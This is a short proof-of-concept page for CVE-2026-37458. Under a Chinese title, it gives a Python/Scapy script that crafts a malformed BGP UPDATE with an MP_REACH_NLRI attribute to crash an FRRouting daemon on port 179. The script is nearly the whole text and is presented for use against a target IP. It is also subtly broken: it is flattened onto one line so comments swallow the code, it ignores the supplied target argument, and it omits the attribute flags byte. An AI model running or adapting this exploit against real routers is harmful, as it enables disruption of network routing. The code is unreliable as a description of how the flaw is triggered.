CVE-2026-37458 FRRouting MP_REACH_NLRI组件DoS漏洞

#!/usr/bin/env python3 # Proof of Concept for CVE-2026-37458 # This script attempts to trigger the DoS by sending a crafted BGP UPDATE. # Note: Requires Scapy and appropriate network permissions. from scapy.all import * import sys import struct def craft_malicious_bgp_update(): # Construct a BGP UPDATE message with malformed MP_REACH_NLRI # The vulnerability lies in the parsing of MP_REACH_NLRI (Type 14). # Standard BGP Marker marker = b'\xFF' * 16 # Malformed MP_REACH_NLRI attribute structure # Type: 14 (MP_REACH_NLRI) # Length: Abnormal length to trigger missing validation # Data: Crafted payload attr_type = 14 attr_len = 20 # Example length attr_data = b'\x00\x01\x00' + b'A' * 17 # Malformed AFI/SAFI or NLRI data mp_reach_nlri = bytes([attr_type, attr_len]) + attr_data # Withdrawn Routes Length (0) withdrawn_len = b'\x00\x00' # Path Attributes Length path_attr_len = struct.pack('!H', len(mp_reach_nlri)) # Assemble UPDATE message payload update_payload = withdrawn_len + path_attr_len + mp_reach_nlri # Total BGP Message Length (Header 19 bytes + Payload) total_len = 19 + len(update_payload) bgp_len = struct.pack('!H', total_len) # BGP Header: Marker(16) + Length(2) + Type(1) bgp_header = marker + bgp_len + bytes([2]) # Type 2 = UPDATE # Full BGP Packet bgp_packet = bgp_header + update_payload # Encapsulate in IP/TCP (Standard BGP Port 179) return IP(dst="TARGET_IP")/TCP(dport=179, flags="PA")/Raw(load=bgp_packet) if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 poc.py <target_ip>") sys.exit(1) target = sys.argv[1] pkt = craft_malicious_bgp_update() print(f"[*] Sending crafted BGP packet to {target}...") send(pkt, verbose=0) print("[+] Packet sent. Check if FRR service crashes.")